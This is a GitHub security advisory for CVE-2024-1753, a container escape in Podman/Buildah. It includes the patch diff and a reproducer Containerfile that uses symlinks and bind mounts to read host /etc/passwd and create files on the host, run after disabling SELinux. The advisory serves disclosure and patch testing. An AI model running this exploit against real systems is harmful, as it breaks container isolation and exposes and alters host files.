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Podman affected by CVE-2024-1753 container escape at build time

Moderate severity GitHub Reviewed Published Mar 18, 2024 in containers/podman • Updated Nov 26, 2024

Package

gomod github.com/containers/podman/v4 (Go)

Affected versions

< 4.9.4

Patched versions

4.9.4
gomod github.com/containers/podman/v5 (Go)
< 5.0.1
5.0.1

Description

Impact

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

Patches

From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

To Test

Testing with an older version of Podman with the issue
setenforce 0
podman build -f ~/cve_Containerfile .

As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.

podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .

Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.

However, the files in both the / and /etc directories on the host system will be displayed.

Testing with the patch

Use the same commands as testing with an older version of Podman.

When running using the patched version of Podman, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.

NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.

Workarounds

Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.

References

Unknown.

References

@TomSweeneyRedHat TomSweeneyRedHat published to containers/podman Mar 18, 2024
Published by the National Vulnerability Database Mar 18, 2024
Published to the GitHub Advisory Database Mar 28, 2024
Reviewed Mar 28, 2024
Last updated Nov 26, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

EPSS score

0.044%
(15th percentile)

Weaknesses

CVE ID

CVE-2024-1753

GHSA ID

GHSA-874v-pj72-92f3

Source code

Credits

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